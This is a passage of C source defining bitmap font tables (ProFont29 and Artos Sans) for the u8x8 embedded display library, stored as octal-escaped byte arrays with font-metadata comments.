"\1\0\0\0\0\200\302\307\347\343\341\341\343\347\307\302\200\0\0\0~\377\377\201\0\0\0\0\0\0\201\377" "\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\7\207\307\301\341\343\343\347\347\347\307\303" "\201\0\0\0~\377\377\201\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\0\200\307\307\347\340\340\340\340\347\307\307\200\0\0\0~\377\377\201\0\0\0\0\0\0\201\377" "\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\0\0\0\0\0\70\70\70\0\0\0\0" "\0\0\0\0\7\7\7\7\7\307\307\307\7\7\7\7\7\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0" "\0\0\0\0\0\200\300\300\340\340\340\340\340\340\300\300\200\0\0\0~\377\377\301\340p\70\34\16\7\203\377" "\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\340\340\340\0\1\3\7\7\2\0\0\340" "\340\340\0\0\177\377\377\200\0\0\0\200\200\300\340\377\377\377\0\0\0\1\3\3\7\7\7\3\3\1\0\7" "\7\7\0\0\340\340\340\0\0\2\7\7\3\1\0\340\340\340\0\0\177\377\377\200\0\0\0\200\200\300\340\377" "\377\377\0\0\0\1\3\3\7\7\7\3\3\1\0\7\7\7\0\0\340\340\342\7\7\3\1\1\3\7\7\342" "\340\340\0\0\177\377\377\200\0\0\0\200\200\300\340\377\377\377\0\0\0\1\3\3\7\7\7\3\3\1\0\7" "\7\7\0\0\340\340\347\7\7\0\0\0\0\7\7\347\340\340\0\0\177\377\377\200\0\0\0\200\200\300\340\377" "\377\377\0\0\0\1\3\3\7\7\7\3\3\1\0\7\7\7\0\0\340\340\340\0\0\2\7\7\3\1\0\340" "\340\340\0\0\177\377\377\200\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\343\347\347\347\347\347\347w\177" "\77\17\0\0\377\377\377\340\340\340\340\340\340\340\300\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\201\377" "\377~\0\0\377\377\377\7\7\7\7\7\7\7\3\3\1\0\0\0\340\340\347\7\7\0\0\0\0\7\7\347" "\340\340\0\0\177\377\377\200\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\347\347\347\347\347\347\347\367\177" "\77\17\0"; /* Fontname: ProFont29 Copyright: ProFont Distribution 2.2 Generated by Fontographer 4.1.5 Glyphs: 96/256 BBX Build Mode: 3 */ const uint8_t u8x8_font_profont29_2x3_r[4612] U8X8_FONT_SECTION("u8x8_font_profont29_2x3_r") = " \177\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\0\0\77\77\77\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\34\34\377\377\377\34\34\34\377\377\377" "\34\34\34\0\7\7\7\77\77\77\7\7\7\77\77\77\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0p\374\376\216\7\377\377\377\7\16><\60\0\0\0`\341\343\203\7\377\377\377\7\216\376\374" "p\0\0\0\0\1\3\3\7\77\77\77\7\3\3\1\0\0\0\0p\374\376\7\7\377\377\367\307\347\367\177" "\77\37\0\0\300\341\363\177\77\177\377\377\7\7\375\374p\0\0\0\7\7\7\0\0\0\1\3\7\7\3\1" "\0\0\0\0p\374\376\216\207\307\347\367~>\34\0\0\0\0\0p\375\377\217\17\37=\370\360\340\360\370" "<\30\0\0\0\1\3\3\7\7\7\3\3\1\3\7\7\2\0\0\0\0\0\0\0\77\77\77\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\370\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\377\377\377\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\7\17\36<\70\20\0\0\0\0\0\0\0\0\1\3\7\17\376\374\370\0" "\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\0\0\0\0\0\0\0\20\70<\36\17\7\3\1\0\0" "\0\0\0\0\20\70\70\360\340\376\376\376\360\360\70\70\20\0\0\0\2\7\7\3\3\77\77\77\3\3\7\7" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0@\341\363\177\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\77" "\17\3\0\0\0\0\0\0\300\360\374\77\17\3\0\0\0\0\0\0\300\360\374\77\17\3\0\0\0\0\0\0" "\0\0\0\0\360\374\376\16\7\7\7\207\307\347\376\376\374\360\0\0\177\377\377\370<\36\17\7\3\1\200\377" "\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\0\70\70\70<\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\60<>\16\7\7\7\7\7\7\216\376\374p\0\0\0\0\200\300\340\360x<\36\17\7\3" "\1\0\0\0\6\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\60<>\16\7\7\7\7\7\207\216\376" "\374p\0\0`\340\340\200\0\0\7\7\7\17\217\375\370p\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\0\200\300\340\360x<\36\377\377\377\0\0\0\0\0\37\37\37\35\34\34\34\34\377\377\377\34" "\34\34\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\377\377\377\347\347\347\347\347\347\347\307\307" "\207\7\0\0`\340\340\200\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\360\374\376\356\347\347\347\347\347\347\307\300\200\0\0\0\177\377\377\200\0\0\0\0\0\0\201\377" "\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\7\7\7\7\7\7\7\7\7\207\307\377" "\377\177\0\0\0\0\0\0\0\370\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0p\374\376\216\207\7\7\7\7\207\216\376\374p\0\0p\370\375\217\17\7\7\7\7\17\217\375" "\370p\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\360\374\376\16\7\7\7\7\7\7\16\376" "\374\360\0\0\3\17\37\34\70\70\70\70\70\70\270\377\377\177\0\0\0\0\0\7\7\7\7\7\7\7\3\3" "\1\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\301\343\343\343\301\0\0\0" "\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0\0\301\343\343\343\301\0\0\0\0\0\0\0\0\0\0@\341\363\177\77\37\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360x<\36\17\7\2\0\0\0\0\2\7\17\37=x\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\2\0\0\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\2\7\17\36\16\7\7\7\7\7\7\216\376" "\374\360\0\0\0\0\0\0\0\60\70<\36\17\7\3\1\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\360\374\376\16\7\207\307\347\347\347\356\376\374\360\0\0\177\377\377\200\0\17\37\77\70\70\70\77" "\37\17\0\0\0\1\3\3\7\7\7\7\7\7\7\7\7\7\0\0\0\0\300\360\374\77\17\17\77\374\360\300" "\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\207\216\376\374p\0\0\377\377\377\7\7\7\7\7\7\17\217\375" "\370p\0\0\7\7\7\7\7\7\7\7\7\7\3\3\1\0\0\0\360\374\376\16\7\7\7\7\7\7\16>" "<\60\0\0\177\377\377\200\0\0\0\0\0\0\200\340\340`\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\377\377\377\7\7\7\7\7\7\7\16\376\374\360\0\0\377\377\377\0\0\0\0\0\0\0\200\377" "\377\177\0\0\7\7\7\7\7\7\7\7\7\7\3\3\1\0\0\0\377\377\377\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0" "\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\376\16\7\7\7\7\7\7\16>" "<\60\0\0\177\377\377\200\0\0\0\0\7\7\207\377\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\377\377\377\7\7\7\7\7\7\7\7\377" "\377\377\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\7\7\7\7\7\377\377\377\7\7\7\7" "\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0x\370\370\200\0\0\0\0\0\0\200\377" "\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\377\377\377\200\300\340\360x<\36\17\7" "\3\0\0\0\377\377\377\17\37=x\360\340\300\200\0\0\0\0\0\7\7\7\0\0\0\0\0\1\3\7\7" "\6\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\36" "<\60\0\0`\341\343\203\7\7\7\7\7\7\216\376\374p\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\377" "\377\377\0\0\177\377\377\200\0\0\0\0\0\0\200\377\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\177\377\377\200\0\0\0\0\0\0\200\377\377\177\0\0\0\1\7\37~\370\340\340\370~\37\7" "\1\0\0\0\0\0\0\0\0\1\7\7\1\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0" "\377\377\377\0\377\377\377\300\340\360\177\77\177\360\340\340\377\377\377\0\7\7\7\3\1\0\0\0\0\0\1\3" "\7\7\7\0\37\77\177\360\340\300\200\200\300\340\360\177\77\37\0\0\300\340\360x=\37\17\17\37=x\360" "\340\300\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\377\377\377\200\0\0\0\0\0\200\377\377" "\377\0\0\0\0\1\3\7\17\376\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\207\307\347\367\177\77\37\0\0\300\340\360x<\36\17\7\3\1\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\70\70\70\0" "\0\0\0\0\0\0\3\17\77\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\374\360\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\374\360\300\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\70\70\70\77\77\77\0\0\0\0" "\0\0\0\0@\340\360x<\36\17\17\36\0\0\0\1\3\3\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\340\340\340\360\374\376\356\347\347\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\340\340\340\340" "\340\340\0\0~\377\377\201\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\343\347\347\347\347\347\347w\177" "\77\17\0\0\377\377\377\340\340\340\340\340\340\340\300\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\1\377" "\377\376\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\340\340\340\347\347\347\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\340\340\340\347\347\347\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\340\340\340\340p\177\77\17\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\200\300\340\340`" " \0\0\0\377\377\377x<\36\77\177\363\341\300\200\0\0\0\0\7\7\7\0\0\0\0\0\0\1\3\7" "\7\6\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\300" "\300\200\0\0\377\377\377\0\0\0\377\377\377\0\0\1\377\377\376\0\7\7\7\0\0\0\7\7\7\0\0\0" "\7\7\7\0\340\340\340\0\200\300\300\340\340\340\300\300\200\0\0\0\377\377\377\7\3\1\1\0\0\0\1\377" "\377\376\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\200\300\300\340\340\340\340\340\340\300\300" "\200\0\0\0~\377\377\201\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\340\340\340\340\340\340\340\340\340\340\300\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\201\377" "\377~\0\0\377\377\377\7\7\7\7\7\7\7\3\3\1\0\0\0\0\200\300\300\340\340\340\340\340\340\340\340" "\340\340\0\0~\377\377\201\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\3\7\7\7\7\7\7\7\377" "\377\377\0\0\340\340\340\0\200\300\300\340\340\340\300\300\200\0\0\0\377\377\377\7\3\1\1\0\0\0\1\7" "\7\6\0\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\340\340\340\340" "\340\340\0\0\7\17\17\35\34\34\34\34\34\34\270\370\360\340\0\0\7\7\7\7\7\7\7\7\7\7\3\3" "\1\0\0\0\0\0\340\340\340\377\377\377\340\340\340\0\0\0\0\0\0\0\0\0\0\177\377\377\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\0\0\0\340\340\340\0\0\0\0\0\0\0\0\340" "\340\340\0\0\177\377\377\200\0\0\0\200\200\300\340\377\377\377\0\0\0\1\3\3\7\7\7\3\3\1\0\7" "\7\7\0\0\340\340\340\0\0\0\0\0\0\0\0\340\340\340\0\0\3\17\77\374\360\300\0\0\300\360\374\77" "\17\3\0\0\0\0\0\0\3\7\7\7\7\3\0\0\0\0\0\0\340\340\340\0\0\0\340\340\340\0\0\0" "\340\340\340\0\377\377\377\200\0\200\377\377\377\200\0\200\377\377\377\0\0\3\3\7\7\7\3\1\3\7\7\7" "\3\3\0\0\340\340\340\200\0\0\0\0\0\0\200\340\340\340\0\0\0\201\303\347\377~<<~\377\347\303" "\201\0\0\0\7\7\7\1\0\0\0\0\0\0\1\7\7\7\0\0\340\340\340\0\0\0\0\0\0\0\0\340" "\340\340\0\0\177\377\377\200\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\343\347\347\347\347\347\347w\177" "\77\17\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\200\300\340\360x<\36\17\7\3\1" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\200\377\377\377\0\0\0" "\0\0\0\0\0\0\0\7\7\17\375\375\370\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\177\360\340\340" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\200\0\0\0" "\0\0\0\0\0\0\0\0\0\370\375\375\17\7\7\0\0\0\0\0\0\0\340\340\360\177\177\37\0\0\0\0" "\0\0\0\0\0\200\300\300\300\300\200\200\0\0\300\300\300\0\0\0\7\7\7\1\1\3\3\7\7\7\7\3" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: ProFont29 Copyright: ProFont Distribution 2.2 Generated by Fontographer 4.1.5 Glyphs: 18/256 BBX Build Mode: 3 */ const uint8_t u8x8_font_profont29_2x3_n[1300] U8X8_FONT_SECTION("u8x8_font_profont29_2x3_n") = " :\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20\70\70\360\340\376\376\376\360\360\70\70\20\0\0\0\2\7\7\3\3\77\77\77\3\3\7\7" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0@\341\363\177\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\77" "\17\3\0\0\0\0\0\0\300\360\374\77\17\3\0\0\0\0\0\0\300\360\374\77\17\3\0\0\0\0\0\0" "\0\0\0\0\360\374\376\16\7\7\7\207\307\347\376\376\374\360\0\0\177\377\377\370<\36\17\7\3\1\200\377" "\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\0\70\70\70<\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\60<>\16\7\7\7\7\7\7\216\376\374p\0\0\0\0\200\300\340\360x<\36\17\7\3" "\1\0\0\0\6\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\60<>\16\7\7\7\7\7\207\216\376" "\374p\0\0`\340\340\200\0\0\7\7\7\17\217\375\370p\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\0\200\300\340\360x<\36\377\377\377\0\0\0\0\0\37\37\37\35\34\34\34\34\377\377\377\34" "\34\34\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\377\377\377\347\347\347\347\347\347\347\307\307" "\207\7\0\0`\340\340\200\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\360\374\376\356\347\347\347\347\347\347\307\300\200\0\0\0\177\377\377\200\0\0\0\0\0\0\201\377" "\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\7\7\7\7\7\7\7\7\7\207\307\377" "\377\177\0\0\0\0\0\0\0\370\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0p\374\376\216\207\7\7\7\7\207\216\376\374p\0\0p\370\375\217\17\7\7\7\7\17\217\375" "\370p\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\360\374\376\16\7\7\7\7\7\7\16\376" "\374\360\0\0\3\17\37\34\70\70\70\70\70\70\270\377\377\177\0\0\0\0\0\7\7\7\7\7\7\7\3\3" "\1\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\301\343\343\343\301\0\0\0" "\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0"; /* Fontname: -FontForge-Artos Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 96/170 BBX Build Mode: 3 */ const uint8_t u8x8_font_artossans8_r[772] U8X8_FONT_SECTION("u8x8_font_artossans8_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\0_\0\0\0\0\0\3\0\0\0\3\0\0\0\42\177\42" "\42\177\42\0\0$*k*\22\0\0B%\22\10$R!\0\0 VIIU\42P\0\0\0\0" "\3\0\0\0\0\0\34\42A\0\0\0\0\0\0A\42\34\0\0\0\0\12\4\37\4\12\0\0\10\10>" "\10\10\0\0\0\0\0@\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0@\0\0\0\0@ \20\10" "\4\2\1\0\0>AAA>\0\0\0@B\177@@\0\0\0bQIIF\0\0\0\42AI" "I\66\0\0\0\34\22\21\177\20\0\0\0'EEE\71\0\0\0>III\62\0\0\0\1\1y" "\5\3\0\0\0\66III\66\0\0\0&III>\0\0\0\0\0\22\0\0\0\0\0\0\0 " "\22\0\0\0\0\0\10\24\42A\0\0\0\24\24\24\24\24\24\0\0\0\0A\42\24\10\0\0\2\1Y" "\11\6\0\0AAA" "AA\42\0\177AAAAA>\0\177IIIIAA\0\177\11\11\11\11\1\1\0>AAA" "II:\0\177\10\10\10\10\10\177\0\0AA\177AA\0\0 @@@@@\77\0\177\10\10\10" "\24\42A\0\177@@@@@@\0\177\2\4\10\4\2\177\0\177\2\4\10\20 \177\0>AAA" "AA>\0\177\21\21\21\21\21\16\0>AAAaA\276\0\177\11\11\11\11\31f\0&III" "II\62\0\1\1\1\177\1\1\1\0\77@@@@@\77\0\17\20 @ \20\17\0\37` \34" " `\37\0A\42\24\10\24\42A\0\3\4\10p\10\4\3\0AaQIECA\0\0\0\177A" "A\0\0\0\1\2\4\10\20 @\0\0\0\0AA\177\0\0\0\4\2\1\2\4\0\0\200\200\200\200" "\200\200\200\200\0\0\0\1\2\0\0\0\0 TTTTx\0\0\177DDDD\70\0\0\70DD" "DD(\0\0\70DDDD\177\0\0\70TTTTH\0\0\0\4~\5\1\0\0\0\30\244\244" "\244\244|\0\0\177\4\4\4\4x\0\0\0D}@\0\0\0\0@\200\200\204}\0\0\0\177\20\20" "\20(D\0\0\0\1\177\0\0\0\0|\4\4|\4\4x\0\0|\4\4\4\4x\0\0\70DD" "DD\70\0\0\374DDDD\70\0\0\70DDDD\374\0\0|\10\4\4\4\4\0\0HTT" "TT$\0\0\0\4\77D@\0\0\0<@@@@|\0\0\34 @@ \34\0\0<@@" "\70@@<\0D(\20(D\0\0\0\34\240\240\240\240|\0\0DdTLD\0\0\0\0\10\66" "A\0\0\0\0\0\0\377\0\0\0\0\0\0\0A\66\10\0\0\10\4\4\10\20\20\10\0\0\0\0\0" "\0\0\0"; /* Fontname: -FontForge-Artos Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 18/170 BBX Build Mode: 3 */ const uint8_t u8x8_font_artossans8_n[220] U8X8_FONT_SECTION("u8x8_font_artossans8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\24\10>\10\24\0\0\20\20|" "\20\20\0\0\0\0\0\200`\0\0\0\0\20\20\20\20\20\20\0\0\0\0\200\0\0\0\0\200@ \20" "\10\4\2\0\0|\202\202\202|\0\0\0\200\204\376\200\200\0\0\0\304\242\222\222\214\0\0\0D\202\222" "\222l\0\0\0\70$\42\376 \0\0\0N\212\212\212r\0\0\0|\222\222\222d\0\0\0\2\2\362" "\12\6\0\0\0l\222\222\222l\0\0\0L\222\222\222|\0\0\0\0\0$\0\0\0"; /* Fontname: -FontForge-Artos Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 64/170 BBX Build Mode: 3 */ const uint8_t u8x8_font_artossans8_u[517] U8X8_FONT_SECTION("u8x8_font_artossans8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0_\0\0\0\0\0\3\0\0\0\3\0\0\0\42\177\42" "\42\177\42\0\0$*k*\22\0\0B%\22\10$R!\0\0 VIIU\42P\0\0\0\0" "\3\0\0\0\0\0\34\42A\0\0\0\0\0\0A\42\34\0\0\0\0\12\4\37\4\12\0\0\10\10>" "\10\10\0\0\0\0\0@\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0@\0\0\0\0@ \20\10" "\4\2\1\0\0>AAA>\0\0\0@B\177@@\0\0\0bQIIF\0\0\0\42AI" "I\66\0\0\0\34\22\21\177\20\0\0\0'EEE\71\0\0\0>III\62\0\0\0\1\1y" "\5\3\0\0\0\66III\66\0\0\0&III>\0\0\0\0\0\22\0\0\0\0\0\0\0 " "\22\0\0\0\0\0\10\24\42A\0\0\0\24\24\24\24\24\24\0\0\0\0A\42\24\10\0\0\2\1Y" "\11\6\0\0AAA" "AA\42\0\177AAAAA>\0\177IIIIAA\0\177\11\11\11\11\1\1\0>AAA" "II:\0\177\10\10\10\10\10\177\0\0AA\177AA\0\0 @@@@@\77\0\177\10\10\10" "\24\42A\0\177@@@@@@\0\177\2\4\10\4\2\177\0\177\2\4\10\20 \177\0>AAA" "AA>\0\177\21\21\21\21\21\16\0>AAAaA\276\0\177\11\11\11\11\31f\0&III" "II\62\0\1\1\1\177\1\1\1\0\77@@@@@\77\0\17\20 @ \20\17\0\37` \34" " `\37\0A\42\24\10\24\42A\0\3\4\10p\10\4\3\0AaQIECA\0\0\0\177A" 